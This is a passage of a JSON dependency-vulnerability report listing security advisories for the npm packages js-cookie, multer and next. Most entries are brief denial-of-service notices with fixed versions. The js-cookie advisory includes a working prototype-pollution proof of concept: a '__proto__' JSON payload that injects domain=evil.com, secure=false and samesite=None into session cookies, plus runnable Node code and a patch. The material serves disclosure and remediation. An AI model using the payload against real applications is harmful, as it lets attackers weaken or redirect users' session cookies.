"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "fast-xml-builder allows attribute values with unwanted quotes to bypass malicious or unwanted attributes"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "js-cookie",
|
||
"version": "3.0.5",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-qjx8-664m-686j"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-46625",
|
||
"GHSA-qjx8-664m-686j"
|
||
],
|
||
"max_severity": "7.5"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 3.0.5",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qjx8-664m-686j/GHSA-qjx8-664m-686j.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "js-cookie",
|
||
"purl": "pkg:npm/js-cookie"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "3.0.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-46625"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1321"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-21T21:20:31Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "## Summary\n\n`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `\"__proto__\"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch('/config').then(r =\u003e r.json());\nCookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs — full file\nexport default function (target) {\n for (var i = 1; i \u003c arguments.length; i++) {\n var source = arguments[i]\n for (var key in source) { // includes own enumerable '__proto__'\n target[key] = source[key] // [[Set]] form - fires __proto__ setter\n }\n }\n return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc \u0026\u0026 cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = '';\nglobalThis.document = {\n get cookie() { return ''; },\n set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import('js-cookie');\n\nconst attackerAttrs = JSON.parse(\n '{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}'\n);\n\nCookies.set('session', 'TOKEN', attackerAttrs);\n\nconsole.log('Set-Cookie that js-cookie wrote to document.cookie:');\nconsole.log(lastSetCookie);\n```\n\nExecution:\n\u003cimg width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" /\u003e\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n for (var i = 1; i \u003c arguments.length; i++) {\n var source = arguments[i]\n- for (var key in source) {\n- target[key] = source[key]\n- }\n+ for (var key in source) {\n+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue\n+ Object.defineProperty(target, key, {\n+ value: source[key],\n+ writable: true,\n+ enumerable: true,\n+ configurable: true,\n+ })\n+ }\n }\n return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n if (key === '__proto__') continue\n target[key] = source[key]\n}\n```",
|
||
"id": "GHSA-qjx8-664m-686j",
|
||
"modified": "2026-05-23T04:44:20.155573157Z",
|
||
"published": "2026-05-21T21:20:31Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/js-cookie/js-cookie"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-4pmp-f695-fjm9"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "multer",
|
||
"version": "1.4.5-lts.2",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-44fp-w29j-9vj5"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-47935",
|
||
"GHSA-44fp-w29j-9vj5"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-4pg4-qvpc-4q3h"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-47944",
|
||
"GHSA-4pg4-qvpc-4q3h"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-5528-5vmv-3xc2"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-3520",
|
||
"GHSA-5528-5vmv-3xc2"
|
||
],
|
||
"max_severity": "8.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-fjgf-rc76-4x9p"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-7338",
|
||
"GHSA-fjgf-rc76-4x9p"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-g5hg-p3ph-g8qg"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-48997",
|
||
"GHSA-g5hg-p3ph-g8qg"
|
||
],
|
||
"max_severity": "8.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-v52c-386h-88mc"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-2359",
|
||
"GHSA-v52c-386h-88mc"
|
||
],
|
||
"max_severity": "8.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-xf7r-hgr6-v32p"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-3304",
|
||
"GHSA-xf7r-hgr6-v32p"
|
||
],
|
||
"max_severity": "8.7"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-44fp-w29j-9vj5/GHSA-44fp-w29j-9vj5.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "multer",
|
||
"purl": "pkg:npm/multer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "2.0.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-47935"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-401"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-05-19T22:04:17Z",
|
||
"nvd_published_at": "2025-05-19T20:15:25Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nMulter \u003c2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal `busboy` stream is not closed, violating Node.js stream safety guidance.\n\nThis leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.\n\n\n### Patches\n\nUsers should upgrade to `2.0.0`\n\n\n### Workarounds\n\nNone\n\n### References\n\n- https://github.com/expressjs/multer/pull/1120\n- https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665",
|
||
"id": "GHSA-44fp-w29j-9vj5",
|
||
"modified": "2026-02-04T03:01:20.753530Z",
|
||
"published": "2025-05-19T22:04:17Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-44fp-w29j-9vj5"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47935"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/pull/1120"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/expressjs/multer"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-8xg2-m9vq-jfxr"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Multer vulnerable to Denial of Service via memory leaks from unclosed streams"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-4pg4-qvpc-4q3h/GHSA-4pg4-qvpc-4q3h.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "multer",
|
||
"purl": "pkg:npm/multer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.4.4-lts.1"
|
||
},
|
||
{
|
||
"fixed": "2.0.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-47944"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-248"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-05-19T22:16:30Z",
|
||
"nvd_published_at": "2025-05-19T20:15:26Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\nA vulnerability in Multer versions \u003e=1.4.4-lts.1 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed multi-part upload request. This request causes an unhandled exception, leading to a crash of the process.\n\n### Patches\nUsers should upgrade to `2.0.0`\n\n### Workarounds\nNone\n\n### References\n\n- https://github.com/expressjs/multer/issues/1176\n- https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665",
|
||
"id": "GHSA-4pg4-qvpc-4q3h",
|
||
"modified": "2026-02-04T04:34:58.000033Z",
|
||
"published": "2025-05-19T22:16:30Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-4pg4-qvpc-4q3h"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47944"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/issues/1176"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/expressjs/multer"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-3pfw-h9j7-554q"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Multer vulnerable to Denial of Service from maliciously crafted requests"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-5528-5vmv-3xc2/GHSA-5528-5vmv-3xc2.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "multer",
|
||
"purl": "pkg:npm/multer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "2.1.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-3520"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-674"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-03-05T00:27:50Z",
|
||
"nvd_published_at": "2026-03-04T17:16:22Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nA vulnerability in Multer versions \u003c 2.1.1 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing stack overflow.\n\n### Patches\n\nUsers should upgrade to `2.1.1`\n\n### Workarounds\n\nNone\n\n### Resources\n\n- https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2\n- https://www.cve.org/CVERecord?id=CVE-2026-3520\n- https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752\n- https://cna.openjsf.org/security-advisories.html",
|
||
"id": "GHSA-5528-5vmv-3xc2",
|
||
"modified": "2026-03-06T23:43:55.105849Z",
|
||
"published": "2026-03-05T00:27:50Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3520"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://cna.openjsf.org/security-advisories.html"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/expressjs/multer"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3520"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-432f-7mj6-gpqf"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Multer Vulnerable to Denial of Service via Uncontrolled Recursion"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-fjgf-rc76-4x9p/GHSA-fjgf-rc76-4x9p.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "multer",
|
||
"purl": "pkg:npm/multer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.4.4-lts.1"
|
||
},
|
||
{
|
||
"fixed": "2.0.2"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-7338"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-248"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-07-17T21:01:54Z",
|
||
"nvd_published_at": "2025-07-17T16:15:35Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nA vulnerability in Multer versions \u003e= 1.4.4-lts.1, \u003c 2.0.2 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed request. This request causes an unhandled exception, leading to a crash of the process.\n\n### Patches\n\nUsers should upgrade to `2.0.2`\n\n### Workarounds\n\nNone",
|
||
"id": "GHSA-fjgf-rc76-4x9p",
|
||
"modified": "2025-07-17T21:44:33.348037Z",
|
||
"published": "2025-07-17T21:01:54Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-fjgf-rc76-4x9p"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7338"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/commit/adfeaf669f0e7fe953eab191a762164a452d143b"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://cna.openjsf.org/security-advisories.html"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/expressjs/multer"
|
||
}
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Multer vulnerable to Denial of Service via unhandled exception from malformed request"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-g5hg-p3ph-g8qg/GHSA-g5hg-p3ph-g8qg.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "multer",
|
||
"purl": "pkg:npm/multer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.4.4-lts.1"
|
||
},
|
||
{
|
||
"fixed": "2.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-48997"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-248"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-06-05T01:09:35Z",
|
||
"nvd_published_at": "2025-06-03T19:15:39Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nA vulnerability in Multer versions \u003e=1.4.4-lts.1, \u003c2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process.\n\n### Patches\n\nUsers should upgrade to `2.0.1`\n\n### Workarounds\n\nNone\n\n### References\n\nhttps://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9\nhttps://github.com/expressjs/multer/issues/1233\nhttps://github.com/expressjs/multer/pull/1256",
|
||
"id": "GHSA-g5hg-p3ph-g8qg",
|
||
"modified": "2026-02-04T03:38:31.723020Z",
|
||
"published": "2025-06-05T01:09:35Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-g5hg-p3ph-g8qg"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48997"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/issues/1233"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/pull/1256"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/expressjs/multer"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-qmrp-5vvj-r7pr"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Multer vulnerable to Denial of Service via unhandled exception"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v52c-386h-88mc/GHSA-v52c-386h-88mc.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "multer",
|
||
"purl": "pkg:npm/multer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "2.1.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-2359"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-772"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-03-01T01:18:27Z",
|
||
"nvd_published_at": "2026-02-27T16:16:25Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nA vulnerability in Multer versions \u003c 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by dropping connection during file upload, potentially causing resource exhaustion.\n\n### Patches\n\nUsers should upgrade to `2.1.0`\n\n### Workarounds\n\nNone",
|
||
"id": "GHSA-v52c-386h-88mc",
|
||
"modified": "2026-03-06T23:43:55.494142Z",
|
||
"published": "2026-03-01T01:18:27Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-v52c-386h-88mc"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2359"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/commit/cccf0fe0e64150c4f42ccf6654165c0d66b9adab"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://cna.openjsf.org/security-advisories.html"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/expressjs/multer"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2359"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-gff5-7x3q-xp8v"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Multer vulnerable to Denial of Service via resource exhaustion"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-xf7r-hgr6-v32p/GHSA-xf7r-hgr6-v32p.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "multer",
|
||
"purl": "pkg:npm/multer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "2.1.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-3304"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-459"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-03-01T01:18:50Z",
|
||
"nvd_published_at": "2026-02-27T16:16:26Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nA vulnerability in Multer versions \u003c 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing resource exhaustion.\n\n### Patches\n\nUsers should upgrade to `2.1.0`\n\n### Workarounds\n\nNone",
|
||
"id": "GHSA-xf7r-hgr6-v32p",
|
||
"modified": "2026-03-06T23:43:55.674728Z",
|
||
"published": "2026-03-01T01:18:50Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/security/advisories/GHSA-xf7r-hgr6-v32p"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3304"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/expressjs/multer/commit/739919097dde3921ec31b930e4b9025036fa74ee"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://cna.openjsf.org/security-advisories.html"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/expressjs/multer"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3304"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-j49g-m3c4-p9gr"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Multer vulnerable to Denial of Service via incomplete cleanup"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "next",
|
||
"version": "14.2.3",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-36qx-fr4f-26g5"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44573",
|
||
"GHSA-36qx-fr4f-26g5"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-3g8h-86w9-wvmq"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44572",
|
||
"GHSA-3g8h-86w9-wvmq"
|
||
],
|
||
"max_severity": "3.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-3h52-269p-cp9r"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-48068",
|
||
"GHSA-3h52-269p-cp9r"
|
||
],
|
||
"max_severity": "2.3"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-3x4c-7xq6-9pq8"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-27980",
|
||
"GHSA-3x4c-7xq6-9pq8"
|
||
],
|
||
"max_severity": "6.9"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-4342-x723-ch2f"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-57822",
|
||
"GHSA-4342-x723-ch2f"
|
||
],
|
||
"max_severity": "6.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-5j59-xgg2-r9c4"
|
||
],
|
||
"aliases": [
|
||
"GHSA-5j59-xgg2-r9c4"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-7gfc-8cq8-jh5f"
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-51479",
|
||
"GHSA-7gfc-8cq8-jh5f"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-7m27-7ghc-44w9"
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-56332",
|
||
"GHSA-7m27-7ghc-44w9"
|
||
],
|
||
"max_severity": "5.3"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-8h8q-6873-q5fj"
|
||
],
|
||
"aliases": [
|
||
"GHSA-8h8q-6873-q5fj"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-9g9p-9gw9-jx7f"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-59471",
|
||
"GHSA-9g9p-9gw9-jx7f"
|
||
],
|
||
"max_severity": "5.9"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-c4j6-fc7j-m34r"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44578",
|
||
"GHSA-c4j6-fc7j-m34r"
|
||
],
|
||
"max_severity": "8.6"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-f82v-jwr5-mffw"
|
||
],
|
||
